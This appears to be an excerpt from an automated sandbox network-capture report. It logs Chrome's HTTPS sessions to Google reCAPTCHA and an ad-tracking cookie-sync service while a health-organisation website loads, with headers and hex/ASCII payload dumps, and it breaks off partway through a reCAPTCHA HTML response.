https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cDovL3ZhbGxleXByb2hlYWx0aC5vcmc6ODA.&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=2duub94apzi9 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:36 UTC	655	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Expires: Wed, 24 Apr 2024 12:44:36 GMT Date: Wed, 24 Apr 2024 12:44:36 GMT Cache-Control: private, max-age=300 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:44:36 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js');
2024-04-24 12:44:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49887	142.250.141.104	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:35 UTC	839	OUT	GET /js/bg/6JK7PkhQPjgGeBZqyHKCSWuJKD5ZJmF_kzmP9QlV1DY.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cDovL3ZhbGxleXByb2hlYWx0aC5vcmc6ODA.&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=2duub94apzi9 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:36 UTC	811	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 18278 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 23 Apr 2024 17:27:34 GMT Expires: Wed, 23 Apr 2025 17:27:34 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 16 Apr 2024 13:30:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 69422 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-24 12:44:36 UTC	444	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 52 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 4c 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 7d 2c 44 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 29 7b 69 66 28 21 28 59 3d 28 6e 3d 6e 75 6c 6c 2c 52 2e 74 72 75 73 74 65 64 54 79 70 65 73 29 2c 59 29 7c 7c 21 59 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 6e 3b 74 72 79 7b 6e 3d 59 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var R=this\|\|self,L=function(n){return n},D=function(n,Y){if(!(Y=(n=null,R.trustedTypes),Y)\|\|!Y.createPolicy)return n;try{n=Y.createPolicy("bg",{createHTM
2024-04-24 12:44:36 UTC	1255	IN	Data Raw: 65 61 74 65 53 63 72 69 70 74 28 64 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 22 22 2b 64 7d 7d 28 52 29 28 41 72 72 61 79 28 37 38 32 34 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 29 2e 6a 6f 69 6e 28 22 5c 6e 22 29 2b 5b 27 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 27 2c 0a 27 27 2c 0a 27 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 6e 57 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 29 7b 72 65 74 75 72 6e 20 59 3d 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 59 3c 6e 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 66 61 6c 73 65 2c 76 61 6c 75 65 3a 6e 5b 59 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 74 72 75 65 7d 7d 7d 2c 59 4b Data Ascii: eateScript(d)}:function(d){return""+d}}(R)(Array(7824Math.random()\|0).join("\n")+['(function(){/','',' SPDX-License-Identifier: Apache-2.0','*/','var nW=function(n,Y){return Y=0,function(){return Y<n.length?{done:false,value:n[Y++]}:{done:true}}},YK
2024-04-24 12:44:36 UTC	1255	IN	Data Raw: 61 6c 73 65 29 7d 2c 28 6e 2e 56 3d 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 57 29 7b 72 65 74 75 72 6e 20 6e 2e 7a 5a 28 57 29 7d 29 29 7d 65 6c 73 65 7b 69 66 28 6d 3d 3d 6d 47 29 72 65 74 75 72 6e 20 52 3d 59 5b 32 5d 2c 7a 28 33 38 38 2c 6e 2c 59 5b 36 5d 29 2c 7a 28 34 30 39 2c 6e 2c 52 29 2c 6e 2e 58 28 59 29 3b 6d 3d 3d 69 71 3f 28 6e 2e 54 3d 6e 75 6c 6c 2c 6e 2e 52 67 3d 5b 5d 2c 6e 2e 4e 3d 5b 5d 29 3a 6d 3d 3d 68 53 26 26 22 6c 6f 61 64 69 6e 67 22 3d 3d 3d 75 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 26 26 28 6e 2e 4a 3d 66 75 6e 63 74 69 6f 6e 28 57 2c 72 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 72 7c 7c 28 72 3d 74 72 75 65 2c 57 28 29 29 7d 28 72 3d 66 61 6c 73 65 2c 75 2e 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 Data Ascii: alse)},(n.V=[],function(W){return n.zZ(W)}))}else{if(m==mG)return R=Y[2],z(388,n,Y[6]),z(409,n,R),n.X(Y);m==iq?(n.T=null,n.Rg=[],n.N=[]):m==hS&&"loading"===u.document.readyState&&(n.J=function(W,r){function d(){r\|\|(r=true,W())}(r=false,u.document.addEvent
2024-04-24 12:44:36 UTC	1255	IN	Data Raw: 74 69 6f 6e 28 29 7b 71 28 74 72 75 65 2c 6e 2c 74 72 75 65 29 7d 29 3b 62 72 65 61 6b 7d 7d 72 65 74 75 72 6e 20 4c 7d 2c 6b 4b 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 2c 52 2c 4c 29 7b 77 28 28 4c 3d 62 28 6e 29 2c 52 3d 62 28 6e 29 2c 52 29 2c 56 28 59 2c 5a 28 4c 2c 6e 29 29 2c 6e 29 7d 2c 53 5f 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 29 7b 72 65 74 75 72 6e 20 4e 5b 59 5d 28 4e 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 70 61 72 65 6e 74 3a 6e 2c 66 6c 6f 6f 72 3a 6e 2c 70 72 6f 74 6f 74 79 70 65 3a 6e 2c 73 70 6c 69 63 65 3a 6e 2c 64 6f 63 75 6d 65 6e 74 3a 6e 2c 63 6f 6e 73 6f 6c 65 3a 6e 2c 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 3a 6e 2c 72 65 70 6c 61 63 65 3a 6e 2c 70 6f 70 3a 6e 2c 63 61 6c 6c 3a 6e 2c 73 74 61 63 6b 3a 6e 2c 6c 65 Data Ascii: tion(){q(true,n,true)});break}}return L},kK=function(n,Y,R,L){w((L=b(n),R=b(n),R),V(Y,Z(L,n)),n)},S_=function(n,Y){return N[Y](N.prototype,{parent:n,floor:n,prototype:n,splice:n,document:n,console:n,propertyIsEnumerable:n,replace:n,pop:n,call:n,stack:n,le
2024-04-24 12:44:36 UTC	1255	IN	Data Raw: 31 39 36 3d 3d 6e 3f 59 2e 54 5b 6e 5d 7c 7c 28 59 2e 54 5b 6e 5d 3d 4a 53 28 6e 2c 38 36 2c 52 2c 59 29 29 3a 59 2e 54 5b 6e 5d 3d 4a 53 28 6e 2c 35 37 2c 52 2c 59 29 7d 34 35 38 3d 3d 6e 26 26 28 59 2e 6c 3d 58 28 59 2c 33 32 2c 66 61 6c 73 65 29 2c 59 2e 59 3d 76 6f 69 64 20 30 29 7d 2c 56 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 2c 52 2c 4c 29 7b 66 6f 72 28 52 3d 28 28 4c 3d 5b 5d 2c 6e 29 7c 30 29 2d 31 3b 30 3c 3d 52 3b 52 2d 2d 29 4c 5b 28 6e 7c 30 29 2d 31 2d 28 52 7c 30 29 5d 3d 59 3e 3e 38 2a 52 26 32 35 35 3b 72 65 74 75 72 6e 20 4c 7d 2c 73 55 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 2c 52 2c 4c 2c 6d 29 7b 66 75 6e 63 74 69 6f 6e 20 57 28 29 7b 7d 72 65 74 75 72 6e 7b 69 6e 76 6f 6b 65 3a 28 52 3d 28 4c 3d 28 6e 3d 57 62 28 6e 2c 66 75 6e 63 74 Data Ascii: 196==n?Y.T[n]\|\|(Y.T[n]=JS(n,86,R,Y)):Y.T[n]=JS(n,57,R,Y)}458==n&&(Y.l=X(Y,32,false),Y.Y=void 0)},V=function(n,Y,R,L){for(R=((L=[],n)\|0)-1;0<=R;R--)L[(n\|0)-1-(R\|0)]=Y>>8*R&255;return L},sU=function(n,Y,R,L,m){function W(){}return{invoke:(R=(L=(n=Wb(n,funct
2024-04-24 12:44:36 UTC	1255	IN	Data Raw: 20 6e 2e 41 3f 59 4b 28 6e 2e 43 2c 6e 29 3a 58 28 6e 2c 38 2c 74 72 75 65 29 7d 2c 55 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 2c 52 2c 4c 2c 6d 29 7b 6d 3d 74 68 69 73 3b 74 72 79 7b 51 4c 28 74 68 69 73 2c 59 2c 52 2c 4c 2c 6e 29 7d 63 61 74 63 68 28 57 29 7b 61 28 74 68 69 73 2c 57 29 2c 52 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 28 6d 2e 68 29 7d 29 7d 7d 2c 54 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 2c 52 29 7b 28 7a 28 59 2c 6e 2c 52 29 2c 52 29 5b 68 53 5d 3d 32 37 39 36 7d 2c 41 53 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 2c 52 2c 4c 2c 6d 2c 57 29 7b 69 66 28 21 59 2e 68 29 7b 59 2e 75 2b 2b 3b 74 72 79 7b 66 6f 72 28 4c 3d 76 6f 69 64 20 30 2c 52 3d 30 2c 6d 3d 59 2e 4f 3b 2d 2d 6e 3b 29 74 72 79 7b 69 66 28 28 57 3d 76 6f 69 64 20 30 2c 59 29 2e Data Ascii: n.A?YK(n.C,n):X(n,8,true)},U=function(n,Y,R,L,m){m=this;try{QL(this,Y,R,L,n)}catch(W){a(this,W),R(function(r){r(m.h)})}},T=function(n,Y,R){(z(Y,n,R),R)[hS]=2796},AS=function(n,Y,R,L,m,W){if(!Y.h){Y.u++;try{for(L=void 0,R=0,m=Y.O;--n;)try{if((W=void 0,Y).
2024-04-24 12:44:36 UTC	1255	IN	Data Raw: 6c 5e 3d 6d 2a 28 44 3c 3c 32 29 29 2c 52 29 2e 52 3d 6d 7c 7c 52 2e 52 2c 52 29 2e 47 2b 3d 6d 2c 57 29 7c 7c 72 29 52 2e 57 3d 30 2c 52 2e 46 3d 64 3b 69 66 28 21 72 7c 7c 64 2d 52 2e 44 3c 52 2e 68 7a 2d 28 4c 3f 32 35 35 3a 6e 3f 35 3a 32 29 29 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 72 65 74 75 72 6e 21 28 52 2e 4a 3d 28 28 7a 28 34 35 34 2c 52 2c 28 52 2e 6b 66 3d 59 2c 4c 3d 5a 28 6e 3f 37 35 3a 34 35 34 2c 52 29 2c 52 29 2e 4f 29 2c 52 2e 69 29 2e 70 75 73 68 28 5b 52 31 2c 4c 2c 6e 3f 59 2b 31 3a 59 2c 52 2e 53 2c 52 2e 48 2c 52 2e 76 2c 52 2e 42 5d 29 2c 6c 71 29 2c 30 29 7d 2c 76 62 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 59 2c 52 29 7b 72 65 74 75 72 6e 20 6e 2e 54 5a 28 66 75 6e 63 74 69 6f 6e 28 4c 29 7b 52 3d 4c 7d 2c 66 61 6c 73 65 2c 59 29 2c Data Ascii: l^=m*(D<<2)),R).R=m\|\|R.R,R).G+=m,W)\|\|r)R.W=0,R.F=d;if(!r\|\|d-R.D<R.hz-(L?255:n?5:2))return false;return!(R.J=((z(454,R,(R.kf=Y,L=Z(n?75:454,R),R).O),R.i).push([R1,L,n?Y+1:Y,R.S,R.H,R.v,R.B]),lq),0)},vb=function(n,Y,R){return n.TZ(function(L){R=L},false,Y),
2024-04-24 12:44:36 UTC	1255	IN	Data Raw: 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6f 6e 63 61 74 28 29 7d 7d 2c 28 6e 2e 46 39 3d 4e 53 2c 6e 2e 4e 49 3d 28 6e 2e 63 24 3d 6e 5b 53 5d 2c 5a 59 29 2c 6e 2e 5a 29 29 2c 6e 29 2e 6d 6b 3d 4e 5b 6e 2e 5a 5d 28 6e 2e 59 66 2c 7b 76 61 6c 75 65 3a 7b 76 61 6c 75 65 3a 7b 7d 7d 7d 29 2c 30 29 2c 5b 5d 29 3b 33 34 36 3e 72 3b 72 2b 2b 29 57 5b 72 5d 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 72 29 3b 71 28 74 72 75 65 2c 6e 2c 28 6c 28 28 6c 28 5b 28 28 54 28 6e 2c 32 39 37 2c 28 54 28 6e 2c 28 7a 28 31 39 36 2c 6e 2c 28 7a 28 34 30 39 2c 28 54 28 6e 2c 28 54 28 6e 2c 32 35 35 2c 28 54 28 28 7a 28 33 35 33 2c 6e 2c 28 54 28 6e 2c 28 7a 28 31 38 36 2c 6e 2c 28 7a 28 31 37 37 2c 28 54 28 6e 2c 32 38 37 2c 28 7a 28 34 Data Ascii: tion(){return this.concat()}},(n.F9=NS,n.NI=(n.c$=n[S],ZY),n.Z)),n).mk=N[n.Z](n.Yf,{value:{value:{}}}),0),[]);346>r;r++)W[r]=String.fromCharCode(r);q(true,n,(l((l([((T(n,297,(T(n,(z(196,n,(z(409,(T(n,(T(n,255,(T((z(353,n,(T(n,(z(186,n,(z(177,(T(n,287,(z(4
2024-04-24 12:44:36 UTC	1255	IN	Data Raw: 64 29 2c 64 29 29 3b 54 28 64 2c 46 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 4b 2c 70 2c 63 29 7b 66 6f 72 28 65 3d 28 70 3d 5b 5d 2c 30 29 2c 4b 3d 5b 5d 3b 65 3c 6b 3b 65 2b 2b 29 7b 69 66 28 21 28 63 3d 44 5b 65 5d 2c 66 5b 65 5d 29 29 7b 66 6f 72 28 3b 63 3e 3d 70 2e 6c 65 6e 67 74 68 3b 29 70 2e 70 75 73 68 28 62 28 74 29 29 3b 63 3d 70 5b 63 5d 7d 4b 2e 70 75 73 68 28 63 29 7d 74 2e 43 3d 28 74 2e 41 3d 66 57 28 45 2e 73 6c 69 63 65 28 29 2c 74 29 2c 66 57 28 4b 2c 74 29 29 7d 29 7d 29 2c 33 31 31 29 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 44 2c 68 2c 50 2c 6b 29 7b 28 44 3d 28 50 3d 5a 28 28 68 3d 28 6b 3d 5a 28 28 50 3d 62 28 28 68 3d 62 28 28 44 3d 28 6b 3d 62 28 64 29 2c 62 29 28 64 29 2c 64 29 29 2c 64 29 29 2c 6b 29 2c 64 2e 52 29 2c 5a 29 28 68 Data Ascii: d),d));T(d,F,function(t,e,K,p,c){for(e=(p=[],0),K=[];e<k;e++){if(!(c=D[e],f[e])){for(;c>=p.length;)p.push(b(t));c=p[c]}K.push(c)}t.C=(t.A=fW(E.slice(),t),fW(K,t))})}),311),function(d,D,h,P,k){(D=(P=Z((h=(k=Z((P=b((h=b((D=(k=b(d),b)(d),d)),d)),k),d.R),Z)(h
2024-04-24 12:44:36 UTC	1255	IN	Data Raw: 29 7b 45 55 28 64 2c 33 29 7d 29 29 2c 6e 29 2c 5b 5d 29 2c 5b 5d 29 29 2c 49 28 34 29 29 29 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 44 2c 68 2c 50 29 7b 21 4f 28 74 72 75 65 2c 44 2c 64 2c 66 61 6c 73 65 29 26 26 28 44 3d 42 62 28 64 29 2c 50 3d 44 2e 4f 5f 2c 68 3d 44 2e 6c 53 2c 64 2e 52 3d 3d 64 7c 7c 50 3d 3d 64 2e 45 5f 26 26 68 3d 3d 64 29 26 26 28 7a 28 44 2e 4a 7a 2c 64 2c 50 2e 61 70 70 6c 79 28 68 2c 44 2e 73 29 29 2c 64 2e 46 3d 64 2e 4b 28 29 29 7d 29 29 2c 5b 31 36 30 2c 30 2c 30 5d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 44 2c 68 29 7b 44 3d 62 28 28 68 3d 62 28 64 29 2c 64 29 29 2c 7a 28 44 2c 64 2c 22 22 2b 5a 28 68 2c 64 29 29 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 44 2c 68 2c 50 29 7b 7a 28 28 50 3d 5a 28 28 44 3d 28 44 3d 62 28 28 Data Ascii: ){EU(d,3)})),n),[]),[])),I(4))),function(d,D,h,P){!O(true,D,d,false)&&(D=Bb(d),P=D.O_,h=D.lS,d.R==d\|\|P==d.E_&&h==d)&&(z(D.Jz,d,P.apply(h,D.s)),d.F=d.K())})),[160,0,0])),function(d,D,h){D=b((h=b(d),d)),z(D,d,""+Z(h,d))})),function(d,D,h,P){z((P=Z((D=(D=b((

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49889	3.33.220.150	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:36 UTC	993	OUT	GET /track/cmf/appnexus?ttd=1&anid=7999698396796766535&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://match.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwiq0-SxypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUYBSgDMgsI1o_n3uCZ8jwQBUIPIg0IARIJCgV0aWVyMhABWgczbDZkNzU4YAE.
2024-04-24 12:44:36 UTC	556	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:44:36 GMT Content-Type: image/gif Content-Length: 70 Connection: close server: Kestrel set-cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; expires=Thu, 24 Apr 2025 12:44:36 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUYBSABKAMyCwjWj-fe4JnyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..; expires=Thu, 24 Apr 2025 12:44:36 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-24 12:44:36 UTC	70	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 81 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 01 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!NETSCAPE2.0!,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49890	3.33.220.150	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:36 UTC	1046	OUT	GET /track/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de&google_gid=CAESEBEUesOdvpqtWGtPSZ5IcU0&google_cver=1 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://match.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwiq0-SxypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUYBSABKAMyCwjWj-fe4JnyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..
2024-04-24 12:44:36 UTC	556	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:44:36 GMT Content-Type: image/gif Content-Length: 70 Connection: close server: Kestrel set-cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; expires=Thu, 24 Apr 2025 12:44:36 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwiq0-SxypnyPBAFEhUKBmdvb2dsZRILCPiymNHKmfI8EAUYBSACKAMyCwjWj-fe4JnyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..; expires=Thu, 24 Apr 2025 12:44:36 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-24 12:44:36 UTC	70	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 81 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 01 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!NETSCAPE2.0!,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49893	142.250.141.104	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:36 UTC	893	OUT	GET /recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:37 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 24 Apr 2024 12:44:37 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-3kbdYFAAowEe3m_XH5zmTw' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:44:37 UTC	364	IN	Data Raw: 31 64 31 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 Data Ascii: 1d11<!DOCTYPE 